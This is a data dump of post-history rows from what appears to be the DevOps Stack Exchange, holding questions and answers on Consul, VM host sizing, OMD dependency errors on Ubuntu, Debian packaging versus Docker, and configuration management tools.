  <row Id="5937" PostHistoryTypeId="24" PostId="1872" RevisionGUID="00c2b79b-b789-4f3c-b408-cc1528b543e7" CreationDate="2017-08-29T23:44:06.380" Comment="Proposed by 4115 approved by 210, 4117 edit id of 429" ContentLicense="CC BY-SA 3.0" />
  <row Id="5938" PostHistoryTypeId="2" PostId="1884" RevisionGUID="3184695d-f834-4d8b-8606-3f1aed68c101" CreationDate="2017-08-30T05:47:59.643" UserId="4131" Text="I highly recommend Consul for configuration management as it is a high reliability, distributed system that provides quite a few and easy to use features with a simple Rest API. Also the community edition is free :), although for a large enterprises there is an enterprise offering.&#xD;&#xA;&#xD;&#xA;I am a particular fan of the Key Value store, because it allows me to have separate configurations for my micro-services and back-end services (written in C#/.Net Core and Java respectively) in all three environments (Dev, Beta, Prod). &#xD;&#xA;&#xD;&#xA;Whenever I add a new service or application, the configuration for each environment is added to the Key Value store and a simple config client downloads the configuration during the application's bootstrap/loading routines.&#xD;&#xA;&#xD;&#xA;You can read a bit more [here][1] but in a nutshell:&#xD;&#xA;&#xD;&#xA;&gt; Consul has multiple components, but as a whole, it is a tool for&#xD;&#xA;&gt; discovering and configuring services in your infrastructure. It&#xD;&#xA;&gt; provides several key features:&#xD;&#xA;&gt; &#xD;&#xA;&gt; Service Discovery: Clients of Consul can provide a service, such as&#xD;&#xA;&gt; api or mysql, and other clients can use Consul to discover providers&#xD;&#xA;&gt; of a given service. Using either DNS or HTTP, applications can easily&#xD;&#xA;&gt; find the services they depend upon.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Health Checking: Consul clients can provide any number of health&#xD;&#xA;&gt; checks, either associated with a given service (&quot;is the webserver&#xD;&#xA;&gt; returning 200 OK&quot;), or with the local node (&quot;is memory utilization&#xD;&#xA;&gt; below 90%&quot;). This information can be used by an operator to monitor&#xD;&#xA;&gt; cluster health, and it is used by the service discovery components to&#xD;&#xA;&gt; route traffic away from unhealthy hosts.&#xD;&#xA;&gt; &#xD;&#xA;&gt; KV Store: Applications can make use of Consul's hierarchical key/value&#xD;&#xA;&gt; store for any number of purposes, including dynamic configuration,&#xD;&#xA;&gt; feature flagging, coordination, leader election, and more. The simple&#xD;&#xA;&gt; HTTP API makes it easy to use.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Multi Datacenter: Consul supports multiple datacenters out of the box.&#xD;&#xA;&gt; This means users of Consul do not have to worry about building&#xD;&#xA;&gt; additional layers of abstraction to grow to multiple regions.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Consul is designed to be friendly to both the DevOps community and&#xD;&#xA;&gt; application developers, making it perfect for modern, elastic&#xD;&#xA;&gt; infrastructures.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.consul.io/intro/index.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="5939" PostHistoryTypeId="2" PostId="1885" RevisionGUID="0549eb69-b24c-4738-af14-52754acf046c" CreationDate="2017-08-30T06:31:40.007" UserId="4131" Text="First, I apologize if this is the wrong forum to ask this question. I was wondering if this is a ServerStack or DevOps question. In either case here it goes:&#xD;&#xA;&#xD;&#xA;I am building a small software shop and I am trying to figure out the infrastructure and machines required for it. &#xD;&#xA;&#xD;&#xA;I bought MSDN Pro Subscription ($600/year) as well as JetBrains All Product Subscription ($600) for the development tools, desktop and server OS licenses, etc etc...&#xD;&#xA;&#xD;&#xA;At the moment I have a budget of roughly $1500 (Walmart Credit Card) and I am entertaining the idea of buying 3x refurbished machines (each with Core i7-3770 cpu and 16GB of RAM) at $452 a pop or buying a large server at $1120 and maxing out it's RAM capacity for another $300-$400.&#xD;&#xA;&#xD;&#xA;So the question is - which is better - multiple dedicated cpu's or a single large server?&#xD;&#xA;&#xD;&#xA;**1x Large VM Host (64gb RAM) to have the following VMS ([from here][1]):**&#xD;&#xA;&#xD;&#xA; - 1x - 8GB RAM - TFS - (Git, Active Directory, SQL2016, Sharepoint, IIS)&#xD;&#xA; - 1x -  4GB RAM - TFS - Build Controller&#xD;&#xA; - 1x -  4GB RAM - TFS - Release Agent&#xD;&#xA; - 1x -  4GB RAM - DEV - Linux Mint (Postgre SQL)&#xD;&#xA; - 1x -  4GB RAM - DEV - Linux Mint (Web Server/Apache)&#xD;&#xA; - 1x -  4GB RAM - BETA - Linux Mint (Postgre SQL)&#xD;&#xA; - 1x -  4GB RAM - BETA - Linux Mint (Web Server/Apache)&#xD;&#xA;&#xD;&#xA;**Or having multiple smaller hosts:**&#xD;&#xA;&#xD;&#xA;1x Small Host - 16GB RAM ([from here][2]):&#xD;&#xA;&#xD;&#xA;- 1x - 6GB RAM - TFS - (Git, Active Directory, SQL2016, Sharepoint, IIS)&#xD;&#xA;- 1x - 3GB RAM - TFS - Build Controller&#xD;&#xA;- 1x - 3GB RAM - TFS - Release Agent&#xD;&#xA;&#xD;&#xA;1x Small Host - 16GB RAM:&#xD;&#xA;&#xD;&#xA; - 1x -  4GB RAM - DEV - Linux Mint (Postgre SQL)&#xD;&#xA; - 1x -  4GB RAM - DEV - Linux Mint (Web Server/Apache&#xD;&#xA;&#xD;&#xA;1x Small Host - 16GB RAM:&#xD;&#xA;&#xD;&#xA; - 1x -  4GB RAM - BETA - Linux Mint (Postgre SQL)&#xD;&#xA; - 1x -  4GB RAM - BETA - Linux Mint (Web Server/Apache&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.walmart.com/ip/Hp-Proliant-Ml30-G9-4u-Micro-Tower-Server-1-X-Intel-Xeon-E3-1240-V5-Quad-core-4-Core-3-50-Ghz-1-Processor-Support-8-Gb-Standard-64-Gb-Ddr4-Sdram-Maxi/49334749&#xD;&#xA;  [2]: https://www.walmart.com/ip/Refurbished-Dell-OptiPlex-7010-Desktop-PC-with-Intel-Core-i7-3770-Processor-16GB-Memory-2TB-Hard-Drive-and-Windows-10-Pro-Monitor-Not-Included/52030501" ContentLicense="CC BY-SA 3.0" />
  <row Id="5940" PostHistoryTypeId="1" PostId="1885" RevisionGUID="0549eb69-b24c-4738-af14-52754acf046c" CreationDate="2017-08-30T06:31:40.007" UserId="4131" Text="VM Hosts: Single Large Host or Few Smaller Hosts?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5941" PostHistoryTypeId="3" PostId="1885" RevisionGUID="0549eb69-b24c-4738-af14-52754acf046c" CreationDate="2017-08-30T06:31:40.007" UserId="4131" Text="&lt;environments&gt;&lt;servers&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5942" PostHistoryTypeId="5" PostId="1885" RevisionGUID="f4207e99-c0de-4620-868f-06bfe32fc8d6" CreationDate="2017-08-30T06:49:51.903" UserId="4131" Comment="added 1084 characters in body" Text="First, I apologize if this is the wrong forum to ask this question. I was wondering if this is a ServerStack or DevOps question. In either case here it goes:&#xD;&#xA;&#xD;&#xA;I am building a small software shop and I am trying to figure out the infrastructure and machines required for it. &#xD;&#xA;&#xD;&#xA;I bought MSDN Pro Subscription ($600/year) as well as JetBrains All Product Subscription ($600) for the development tools, desktop and server OS licenses, etc etc...&#xD;&#xA;&#xD;&#xA;At the moment I have a budget of roughly $1500 (Walmart Credit Card) and I am entertaining the idea of buying 3x refurbished machines (each with Core i7-3770 cpu and 16GB of RAM) at $452 a pop or buying a large server at $1120 and maxing out it's RAM capacity for another $300-$400.&#xD;&#xA;&#xD;&#xA;The background info on this is that I want to develop a product and have a full blown development environment (Source Control, Build/Deploy/Test and Release Management, Dev, Beta, and Prod environments). Cloud services (the cheapest) will run me about $200-$300 a month, and over period of 6 months it will become a recurring liability rather than an asset (which I pay out of pocket btw). &#xD;&#xA;&#xD;&#xA;If I buy the hardware - it will have an initial cost of about $1500 but it will last me for the duration of the development process which is at least a year or so. Beyond that, if I outgrow it's capacity, I can move to docker containers and maybe a cloud solution for the Dev, Beta, and Prod environments.&#xD;&#xA;&#xD;&#xA;So the question is - which is better - multiple dedicated cpu's or a single large server?&#xD;&#xA;&#xD;&#xA;**1x Large VM Host (64gb RAM) to have the following VMS ([from here][1]) (4GB used by Hyper-V 2016 Server):**&#xD;&#xA;&#xD;&#xA; - 1x - 8GB RAM - TFS - (Git, Active Directory, SQL2016, Sharepoint, IIS)&#xD;&#xA; - 1x -  4GB RAM - TFS - Build Controller&#xD;&#xA; - 1x -  4GB RAM - TFS - Release Agent, Test Agent&#xD;&#xA; - 1x -  4GB RAM - DEV - Linux Mint (Postgre SQL)&#xD;&#xA; - 1x -  4GB RAM - DEV - Linux Mint (Web Server/Apache)&#xD;&#xA; - 1x -  4GB RAM - BETA - Linux Mint (Postgre SQL)&#xD;&#xA; - 1x -  4GB RAM - BETA - Linux Mint (Web Server/Apache)&#xD;&#xA; - 1x -  4GB RAM - PROD - Linux Mint (Postgre SQL)&#xD;&#xA; - 1x -  4GB RAM - PROD - Linux Mint (Web Server/Apache)&#xD;&#xA;&#xD;&#xA;**Or having multiple smaller hosts:([from here][2])**&#xD;&#xA;&#xD;&#xA;1x Small Host - 16GB RAM (4GB used by Hyper-V 2016 Server):&#xD;&#xA;&#xD;&#xA;- 1x - 6GB RAM - TFS - (Git, Active Directory, SQL2016, Sharepoint, IIS)&#xD;&#xA;- 1x - 3GB RAM - TFS - Build Controller&#xD;&#xA;- 1x - 3GB RAM - TFS - Release Agent, Test Agent&#xD;&#xA;&#xD;&#xA;1x Small Host - 16GB RAM (4GB used by Hyper-V 2016 Server):&#xD;&#xA;&#xD;&#xA; - 1x -  4GB RAM - DEV - Linux Mint (Postgre SQL)&#xD;&#xA; - 1x -  4GB RAM - BETA - Linux Mint (Postgre SQL)&#xD;&#xA; - 1x -  4GB RAM - PROD - Linux Mint (Postgre SQL)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;1x Small Host - 16GB RAM (4GB used by Hyper-V 2016 Server):&#xD;&#xA;&#xD;&#xA; - 1x -  4GB RAM - DEV - Linux Mint (Web Server/Apache)&#xD;&#xA; - 1x -  4GB RAM - BETA - Linux Mint (Web Server/Apache)&#xD;&#xA; - 1x -  4GB RAM - PROD - Linux Mint (Web Server/Apache)&#xD;&#xA;&#xD;&#xA;  [1]: https://www.walmart.com/ip/Hp-Proliant-Ml30-G9-4u-Micro-Tower-Server-1-X-Intel-Xeon-E3-1240-V5-Quad-core-4-Core-3-50-Ghz-1-Processor-Support-8-Gb-Standard-64-Gb-Ddr4-Sdram-Maxi/49334749&#xD;&#xA;  [2]: https://www.walmart.com/ip/Refurbished-Dell-OptiPlex-7010-Desktop-PC-with-Intel-Core-i7-3770-Processor-16GB-Memory-2TB-Hard-Drive-and-Windows-10-Pro-Monitor-Not-Included/52030501" ContentLicense="CC BY-SA 3.0" />
  <row Id="5943" PostHistoryTypeId="2" PostId="1886" RevisionGUID="c9e3d39a-2097-421b-8d2b-7db8dfb22cbd" CreationDate="2017-08-30T07:37:17.723" UserId="3504" Text="Have created a number of images via packer and soon coming to the conclusion that binaries/images soon rack up in qty and need to find away to store config data. &#xD;&#xA;&#xD;&#xA;We are going to use ansible to hold config data for apps and was wondering about how people manage versions of binaries, versions of images, ingress egress data etc etc. I wondered if anyone knew of either a regularly used/industry approach to managing app data, versioning, config data etc.  My default thought was a scheema to use in ansible, or perhaps a tool that can manage this data.&#xD;&#xA;&#xD;&#xA;A combo of packer images, binaries and other images I am beginning to think that these files could increase in numbers v v quickly. How do people manage this info??" ContentLicense="CC BY-SA 3.0" />
  <row Id="5944" PostHistoryTypeId="1" PostId="1886" RevisionGUID="c9e3d39a-2097-421b-8d2b-7db8dfb22cbd" CreationDate="2017-08-30T07:37:17.723" UserId="3504" Text="Storing Meta Data for Apps/tools" ContentLicense="CC BY-SA 3.0" />
  <row Id="5945" PostHistoryTypeId="3" PostId="1886" RevisionGUID="c9e3d39a-2097-421b-8d2b-7db8dfb22cbd" CreationDate="2017-08-30T07:37:17.723" UserId="3504" Text="&lt;ansible&gt;&lt;build-pipeline&gt;&lt;packer&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5946" PostHistoryTypeId="2" PostId="1887" RevisionGUID="6bac4244-d24b-4bd1-8921-c5b128b58589" CreationDate="2017-08-30T08:34:48.047" UserId="4133" Text="&#xD;&#xA;&#xD;&#xA;When installing OMD 1.3 on Ubuntu, I get the following output&#xD;&#xA;&#xD;&#xA;    dpkg: dependency problems prevent configuration of omd-1.31.20160708: omd-1.31.20160708 depends on libapache2-mod-proxy-html; however:&#xD;&#xA;    Package libapache2-mod-proxy-html is not installed. omd-1.31.20160708 depends on apache2-mpm-prefork; however: Package apache2-mpm-prefork is not installed. omd-1.31.20160708 depends on libboost-program-options1.54.0; however: Package libboost-program-options1.54.0 is not installed. omd-1.31.20160708 depends on libboost-system1.54.0; however: Package libboost-system1.54.0 is not installed. omd-1.31.20160708 depends on libperl5.18; however: Package libperl5.18 is not installed. omd-1.31.20160708 depends on php5-cli; however: Package php5-cli is not installed. omd-1.31.20160708 depends on php5-cgi; however:&#xD;&#xA;    Package php5-cgi is not installed. omd-1.31.20160708 depends on php5-gd; however: Package php5-gd is not installed. omd-1.31.20160708 depends on php5-mcrypt; however: Package php5-mcrypt is not installed. omd-1.31.20160708 depends on php5-sqlite; howeve dpkg: error processing package omd-1.31.20160708 (--install): dependency problems - leaving unconfigured&#xD;&#xA;&#xD;&#xA;I have updated and upgraded my system a million times and still issue persists and has confirmed that the dependencies exist Does anybody know if the above packages and their versions is required? I have the dependencies installed, but on the latest version and I am assuming that OMD and the packages that comes with it requires the older version?&#xD;&#xA;&#xD;&#xA;Any advise or solutions to this issue? System:Ubuntu 16.04.3 LTS OMD Version: 1.31.20160708&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5947" PostHistoryTypeId="1" PostId="1887" RevisionGUID="6bac4244-d24b-4bd1-8921-c5b128b58589" CreationDate="2017-08-30T08:34:48.047" UserId="4133" Text="OMD vs Ubuntu install issues" ContentLicense="CC BY-SA 3.0" />
  <row Id="5948" PostHistoryTypeId="3" PostId="1887" RevisionGUID="6bac4244-d24b-4bd1-8921-c5b128b58589" CreationDate="2017-08-30T08:34:48.047" UserId="4133" Text="&lt;monitoring&gt;&lt;nagios&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5950" PostHistoryTypeId="5" PostId="1887" RevisionGUID="6ca23e1c-b1ea-4845-a102-0554399de7a1" CreationDate="2017-08-30T14:23:20.303" UserId="47" Comment="improved readability" Text="&#xD;&#xA;When installing OMD 1.3 on Ubuntu, I get the following output&#xD;&#xA;&#xD;&#xA;    dpkg: dependency problems prevent configuration of omd-1.31.20160708:&#xD;&#xA;    omd-1.31.20160708 depends on libapache2-mod-proxy-html; however: Package libapache2-mod-proxy-html is not installed. &#xD;&#xA;    omd-1.31.20160708 depends on apache2-mpm-prefork; however: Package apache2-mpm-prefork is not installed.&#xD;&#xA;    omd-1.31.20160708 depends on libboost-program-options1.54.0; however: Package libboost-program-options1.54.0 is not installed.&#xD;&#xA;    omd-1.31.20160708 depends on libboost-system1.54.0; however: Package libboost-system1.54.0 is not installed.&#xD;&#xA;    omd-1.31.20160708 depends on libperl5.18; however: Package libperl5.18 is not installed.&#xD;&#xA;    omd-1.31.20160708 depends on php5-cli; however: Package php5-cli is not installed.&#xD;&#xA;    omd-1.31.20160708 depends on php5-cgi; however: Package php5-cgi is not installed.&#xD;&#xA;    omd-1.31.20160708 depends on php5-gd; however: Package php5-gd is not installed.&#xD;&#xA;    omd-1.31.20160708 depends on php5-mcrypt; however: Package php5-mcrypt is not installed.&#xD;&#xA;    omd-1.31.20160708 depends on php5-sqlite; howeve &#xD;&#xA;    dpkg: error processing package omd-1.31.20160708 (--install): dependency problems - leaving unconfigured&#xD;&#xA;&#xD;&#xA;I have updated and upgraded my system a million times and still issue persists and has confirmed that the dependencies exist Does anybody know if the above packages and their versions is required? I have the dependencies installed, but on the latest version and I am assuming that OMD and the packages that comes with it requires the older version?&#xD;&#xA;&#xD;&#xA;Any advise or solutions to this issue? System:Ubuntu 16.04.3 LTS OMD Version: 1.31.20160708&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5951" PostHistoryTypeId="2" PostId="1888" RevisionGUID="934dc74f-28a7-460f-8998-f83a7e141f20" CreationDate="2017-08-30T14:50:12.653" UserId="47" Text="According to [How to let `dpkg -i` install dependencies for me?][1] it sounds like `dpkg` doesn't have support for automatically installing a package's dependencies.&#xD;&#xA;&#xD;&#xA;Personally I'd switch to a package manager which has such support, like [`apt-get`][2]. You'll like it ;)&#xD;&#xA;&#xD;&#xA;Alternatively you could:&#xD;&#xA;- use a &quot;helper&quot; application around `dpkg` as suggested in the above-mentioned answer&#xD;&#xA;- manually collect the entire list of missing dependencies and install them as well. But it can be very tedious. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://askubuntu.com/a/40017&#xD;&#xA;  [2]: https://help.ubuntu.com/community/AptGet/Howto" ContentLicense="CC BY-SA 3.0" />
  <row Id="5952" PostHistoryTypeId="5" PostId="1888" RevisionGUID="55e23155-99a8-4436-bca5-a385808c65db" CreationDate="2017-08-30T15:28:42.130" UserId="47" Comment="added clarification" Text="According to [How to let `dpkg -i` install dependencies for me?][1] it sounds like `dpkg` doesn't have support for automatically installing a package's dependencies.&#xD;&#xA;&#xD;&#xA;Personally I'd switch to a package manager which has such support, like [`apt-get`][2]. You'll like it ;)&#xD;&#xA;&#xD;&#xA;Alternatively you could:&#xD;&#xA;- use a &quot;helper&quot; application around `dpkg` as suggested in the above-mentioned answer&#xD;&#xA;- manually collect the entire list of missing dependencies and install them as well. But it can be very tedious. &#xD;&#xA;&#xD;&#xA;&gt; I have the dependencies installed, but on the latest version&#xD;&#xA;&#xD;&#xA;The version is part of the dependency, so technically the above means you don't actually have the dependencies installed. At least not for that particular version of OMG.&#xD;&#xA;&#xD;&#xA;&gt; and assuming that OMD and the packages that comes with it requires the&#xD;&#xA;&gt; older version?&#xD;&#xA;&#xD;&#xA;Bingo. You have 2 options:&#xD;&#xA;&#xD;&#xA;- re-create an older version of your system which is compatible with your particular version of OMD. It could be based on Docker or some VM technology (or some plain old hw you may have lying around). I won't consider downgrading your system a solution :)&#xD;&#xA;&#xD;&#xA;- look for a newer version of OMD, hopefully one that's happy with what you have installed and on which its dependencies can be installed (some packages suport multiple versions installed on the same system). Also note from [omdistro.org][4], you may be looking for another package:&#xD;&#xA;&#xD;&#xA;&gt; With the growing popularity of OMD, we came to a point were it makes&#xD;&#xA;&gt; sense to develop two specialized versions of OMD.&#xD;&#xA;&gt; &#xD;&#xA;&gt; - [Check_MK Raw][5]: Check_MK Raw Edition focuses on Check_MK. Use this if you mainly use Check_MK. This is a smaller package including&#xD;&#xA;&gt; all components to run Check_MK.&#xD;&#xA;&gt; - [OMD-Labs][6]: OMD-Labs contains all components of the original omd and some more addons like Grafana and Influxdb as well as Naemon and&#xD;&#xA;&gt; Icinga 2.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://askubuntu.com/a/40017&#xD;&#xA;  [2]: https://help.ubuntu.com/community/AptGet/Howto&#xD;&#xA;  [4]: http://omdistro.org/&#xD;&#xA;  [5]: http://mathias-kettner.com/check_mk.html&#xD;&#xA;  [6]: https://labs.consol.de/omd/index.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="5953" PostHistoryTypeId="5" PostId="1864" RevisionGUID="6e27bf90-216b-4370-8d07-72acec86cec9" CreationDate="2017-08-30T16:16:17.490" UserId="271" Comment="Focus on the specific appliance-based use-case." Text="While there is some tiny overlapping region Docker and the Debian packaging systems essentially [solve two very different problems](https://devops.stackexchange.com/questions/54/are-there-any-drawbacks-of-using-a-deb-package-as-if-it-was-a-container-to-deplo/274#274):&#xD;&#xA;&#xD;&#xA;* The Debian packaging system is built to install software on a host and upgrade it as easily as possible. It is able to handle complex dependency and constraint patterns between software components, like “software X version A requires software Y with version B or newer installed” or “software X should never be installed with software Z version C”.&#xD;&#xA;&#xD;&#xA;* The Docker system is conceived to easily describe and deploy services, especially micro-services, possibly on several hosts – e.g. a Docker swarm or a Kubernetes cluster.&#xD;&#xA;&#xD;&#xA;These two problems are essentially orthogonal, which means that given the deployment problem to solve, one can use one of them, both of them, or maybe even none of them, as part of the solution.  When using both of them, the Debian package is used in the production of the Docker image, and your Dockerfile (the recipes used to prepare the Docker image describing the “virtualised system” ran in a container) would essentially register your Debian repository in the sources of the Debian packaging system and install your package.&#xD;&#xA;&#xD;&#xA;With this in mind, it seems to me that what you are really looking for is to implement the [immutable server pattern](https://devops.stackexchange.com/questions/412/what-are-immutable-servers). The recent development in cloud technologies made possible to upgrade software not by using the classical software upgrade system from a software package system (such as the Debian packaging system) but rather by simply replacing the full server at once. (Some persons did this before this development by having three OS-s on a server, two used in alternance to run the appliance and a mini-OS dedicated to performing the appliance replacement. While not overly complex, this seems to have always remained a niche.)  This technique can be of interest for you because if you are used to upgrade software on your server using the package manager, the final state of the server depends of the “upgrade history” of the server – especially if errors occur in the upgrade process.  This heterogeneity is bad, because it makes production problems hard to reproduce and diagnose, and your mixed experience&#xD;&#xA;&#xD;&#xA;&gt; We have thousands of these boxes out on the field. We manage the package dependencies, process registration, etc. through a deb package with varying degrees of success.&#xD;&#xA;&#xD;&#xA;could relate to this.  The immutable server pattern wipes this source of errors by essentially destroying the notion of “upgrade history” from the problem.&#xD;&#xA;&#xD;&#xA;Now there are various options to implement the immutable server pattern, two popular choices are to use Docker images, images or to use “master instance images” from your cloud provider (these are called AMIs in AWS and just Custom Images in Google Compute Engine).  Your use-case forbids the use of cloud based techniques, I will therefore assume Docker images as the only eligible choice. (For the sake of completion, it is certainly possible to use other approaches, for instance using Virtual Box or similar virtualisation solution, as an alternative to Docker.)&#xD;&#xA;&#xD;&#xA;When using the immutable server pattern technique, you introduce a new artefact (the Docker image) representing your server and this artefact can be tested as well, and it is very easy to obtain a setup replicating truthfully your production settings – aside from service load.&#xD;&#xA;&#xD;&#xA;Now to consider the concrete problem you described, let's assume implementing the immutable server pattern with Docker is actually what you want.  Since the Docker system and the Debian packaging system are complementary rather than mutually exclusive (cf. intro) we still have to address the question if you should you prepare a Debian package for your software.&#xD;&#xA;&#xD;&#xA;The pertinence of using a Debian package to install your software (in the Docker image or on a host) lies in the complexity of the versioning problem you have to solve. If you run at the same time several versions of your software, occasionally need to downgrade, and have complex version requirements that you need to carefully document, having a Debian package is a must-be.  Otherwise, this step can be skipped – but since you already put an effort to produce and deploy these packages, there is no real value into ditching your work. I would therefore suggest continue to produce your Debian packages.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5954" PostHistoryTypeId="2" PostId="1889" RevisionGUID="4f385c65-b920-4220-8228-b110d58ad46c" CreationDate="2017-08-30T16:43:52.413" UserId="2845" Text="As I see it, the basic problem you have is that you aren't looking at the Total Cost of Ownership (TCO). While you may eventually save on the *hardware* costs, this is costing you in man-hours - either yours or your employees - a cost which you *also* pay out of pocket until you begin generating revenue.&#xD;&#xA;&#xD;&#xA;The reason for this is this: Instead of using a ready to go system, you have to set up, install and configure the following:&#xD;&#xA;&#xD;&#xA; * Hardware and RAID&#xD;&#xA; * Version and source control&#xD;&#xA; * DNS&#xD;&#xA; * Firewall&#xD;&#xA; * Operating system&#xD;&#xA; * Database(es)&#xD;&#xA; * Web server&#xD;&#xA; * Build controller / test agent&#xD;&#xA; * Backups&#xD;&#xA;&#xD;&#xA;Then you have to deal with the operational maintenance of that as well. While *some* operational maintenance is required with in-house equipment, There is less required if you host. Consider:&#xD;&#xA;&#xD;&#xA; Instead of sharing enterprise-grade infrastructure, you are buying white box home desktops from Walmart. This means you are accepting all of the liability and reliability issues that goes with that - drive failures, motherboards that fry, CPUs that overheat and toast, PSUs that give out and so forth - making your backups (which you don't even have to deal with if you host) that much more important. Odds are at those prices, these machines are built off of &quot;seconds&quot; - refurbished parts that have *already* failed once. There is a reason my organization purchases proper servers from Dell or HP - it's reliability.&#xD;&#xA;&#xD;&#xA;This early in your software shop's life it is important to have *focus* on a *single* strategic vision - to produce great software (whatever software that is). In order to do that most effectively, you need to minimize distractions. You don't want to be in the hosting business too. It will distract you from making great software and that setup and management will cost you a great deal more than it would cost to simply have it hosted. &#xD;&#xA;&#xD;&#xA;Figure out an estimate of how long it would take for you to set up and build what your hosting provider already has using the components you are looking at. Then multiply times your (or your employee's) hourly rate and factor that into your cost.  At 300 a month, you are nearly halfway through your year. If your figured set up costs are greater than 1500 to 2000 dollars, then it is actually cheaper to host - plus less headache *and* you got a true year of development time instead of losing 2 weeks to a month (or more!) to setting up your environment.&#xD;&#xA;&#xD;&#xA;After that year, you can still move in-house on the hardware - you were planning on possibly needing to migrate anyway.&#xD;&#xA;&#xD;&#xA;----------------------------------&#xD;&#xA;&#xD;&#xA;But finally, to answer your question, use the three smaller hosts. You are clearly virtualizing anyway and this provides you redundancy. If your single large hosts crashes or reboots, it affects your entire system. If you have a problem with one instance, it affects 1/3rd of your environment and you might even be able to seamlessly migrate your VM to another host if your system is properly configured.&#xD;&#xA;&#xD;&#xA; " ContentLicense="CC BY-SA 3.0" />
  <row Id="5955" PostHistoryTypeId="5" PostId="1887" RevisionGUID="c352b524-85d4-4a73-b382-d146fb84c6fd" CreationDate="2017-08-30T17:01:36.557" UserId="40" Comment="added 7 characters in body" Text="When installing OMD 1.3 on Ubuntu, I get the following output:&#xD;&#xA;&#xD;&#xA;    dpkg: dependency problems prevent configuration of omd-1.31.20160708:&#xD;&#xA;    omd-1.31.20160708 depends on libapache2-mod-proxy-html; however: Package libapache2-mod-proxy-html is not installed. &#xD;&#xA;    omd-1.31.20160708 depends on apache2-mpm-prefork; however: Package apache2-mpm-prefork is not installed.&#xD;&#xA;    omd-1.31.20160708 depends on libboost-program-options1.54.0; however: Package libboost-program-options1.54.0 is not installed.&#xD;&#xA;    omd-1.31.20160708 depends on libboost-system1.54.0; however: Package libboost-system1.54.0 is not installed.&#xD;&#xA;    omd-1.31.20160708 depends on libperl5.18; however: Package libperl5.18 is not installed.&#xD;&#xA;    omd-1.31.20160708 depends on php5-cli; however: Package php5-cli is not installed.&#xD;&#xA;    omd-1.31.20160708 depends on php5-cgi; however: Package php5-cgi is not installed.&#xD;&#xA;    omd-1.31.20160708 depends on php5-gd; however: Package php5-gd is not installed.&#xD;&#xA;    omd-1.31.20160708 depends on php5-mcrypt; however: Package php5-mcrypt is not installed.&#xD;&#xA;    omd-1.31.20160708 depends on php5-sqlite; howeve &#xD;&#xA;    dpkg: error processing package omd-1.31.20160708 (--install): dependency problems - leaving unconfigured&#xD;&#xA;&#xD;&#xA;I have updated and upgraded my system quite a few times and still issue persists and has confirmed that the dependencies exist.&#xD;&#xA;&#xD;&#xA;Does anybody know if the above packages and their versions are required? I have the dependencies installed, but on the latest version and I am assuming that OMD and the packages that comes with it requires the older version.&#xD;&#xA;&#xD;&#xA;Any advise or solutions to this issue?&#xD;&#xA;&#xD;&#xA;System:Ubuntu 16.04.3 LTS OMD Version: 1.31.20160708" ContentLicense="CC BY-SA 3.0" />
  <row Id="5956" PostHistoryTypeId="2" PostId="1890" RevisionGUID="e5635b56-4b12-4f2e-884b-b49ff4036adc" CreationDate="2017-08-30T17:20:59.890" UserId="2845" Text="Consider using something like Puppet, Salt Stack or Chef - all of which can be installed on Linux or Windows. You should then make it the responsibility of the respective development teams for managing a module for their application - just like they should be managing their installers.&#xD;&#xA;&#xD;&#xA;The configuration code for the management system can then be managed in git or some other version control system just like your existing code. Upgrades are then  as simple as checking out the latest module version, or a specific commit ID or tag into the module directory.&#xD;&#xA;&#xD;&#xA;For certain things (eg, time source) you can use an NTP module that applies to all hosts instead of just a specific host. This will allow your project managers, customers, ops team, whatever to manage some things at the organizational level/domain and some developers or teams to manage some things at the individual level/domain.&#xD;&#xA;&#xD;&#xA;This can even work for your networking team who can use these configuration management system to manage firewalls and switches using SDN (Software Defined Networking) technology." ContentLicense="CC BY-SA 3.0" />
  <row Id="5957" PostHistoryTypeId="5" PostId="1888" RevisionGUID="988c1917-263d-4619-a76d-f82b72b1b752" CreationDate="2017-08-30T18:29:17.130" UserId="47" Comment="improved formatting" Text="According to [How to let `dpkg -i` install dependencies for me?][1] it sounds like `dpkg` doesn't have support for automatically installing a package's dependencies.&#xD;&#xA;&#xD;&#xA;Personally I'd switch to a package manager which has such support, like [`apt-get`][2]. You'll like it ;)&#xD;&#xA;&#xD;&#xA;Alternatively you could:&#xD;&#xA;&#xD;&#xA;- use a &quot;helper&quot; application around `dpkg` as suggested in the above-mentioned answer&#xD;&#xA;- manually collect the entire list of missing dependencies and install them as well. But it can be very tedious. &#xD;&#xA;&#xD;&#xA;&gt; I have the dependencies installed, but on the latest version&#xD;&#xA;&#xD;&#xA;The version is part of the dependency, so technically the above means you don't actually have the dependencies installed. At least not for that particular version of OMG.&#xD;&#xA;&#xD;&#xA;&gt; and assuming that OMD and the packages that comes with it requires the&#xD;&#xA;&gt; older version?&#xD;&#xA;&#xD;&#xA;Bingo. You have 2 options:&#xD;&#xA;&#xD;&#xA;- re-create an older version of your system which is compatible with your particular version of OMD. It could be based on Docker or some VM technology (or some plain old hw you may have lying around). I won't consider downgrading your system a solution :)&#xD;&#xA;&#xD;&#xA;- look for a newer version of OMD, hopefully one that's happy with what you have installed and on which its dependencies can be installed (some packages suport multiple versions installed on the same system). Also note from [omdistro.org][4], you may be looking for another package:&#xD;&#xA;&#xD;&#xA;&gt; With the growing popularity of OMD, we came to a point were it makes&#xD;&#xA;&gt; sense to develop two specialized versions of OMD.&#xD;&#xA;&gt; &#xD;&#xA;&gt; - [Check_MK Raw][5]: Check_MK Raw Edition focuses on Check_MK. Use this if you mainly use Check_MK. This is a smaller package including&#xD;&#xA;&gt; all components to run Check_MK.&#xD;&#xA;&gt; - [OMD-Labs][6]: OMD-Labs contains all 